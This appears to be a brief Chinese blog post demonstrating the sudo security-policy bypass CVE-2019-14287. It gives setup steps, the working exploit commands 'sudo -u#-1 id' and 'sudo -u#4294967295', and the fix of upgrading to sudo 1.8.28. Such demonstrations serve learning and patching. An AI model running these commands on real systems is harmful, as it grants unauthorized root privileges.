10月14日 Unix 、 Linux 爆出了一个严重的本地提权漏洞
通过一个拥有 sudo 权限的用户,在特定场景下可以执行任意的root 命令(sudo 安全策略绕过问题)
漏洞演示环境搭建如下
- 第一步–修改配置文件
vim /etc/sudoers
在 root ALL=(ALL:ALL) ALL
下面添加一行测试用户内容
alice ALL = (ALL,!root) /usr/bin/vi,/usr/bin/id
添加完结果如下
上述这条命令的意思是,alice 用户能够以 非root 的身份进行sudo 执行id 和 vi 命令
- 第二步–新建alice 用户
useradd alice
- 第三步–进行测试
su alice # 通过alice 账户执行命令进行测试
执行sudo id
进行测试【正常情况下返回结果如下】
第一种利用方式:执行 sudo -u#-1 id
进行测试【利用漏洞的返回结果如下,其中-1 也可以替换为-2、-3 等值,只不过uid 就不是root 了,gid、groups 都是root】
第二种利用方式:执行sudo -u#4294967295
进行测试【利用漏洞的返回结果如下,其中4294967295 是-1 的无符号整型对应的值】
当我们利用CVE-2019-14287 进行权限绕过之后可以发现成功执行 id 命令
解决方法
sudo 官网已经发布了针对此次漏洞的更新,直接升级到 1.8.28
即可
https://www.sudo.ws/alerts/minus_1_uid.html
BR
以上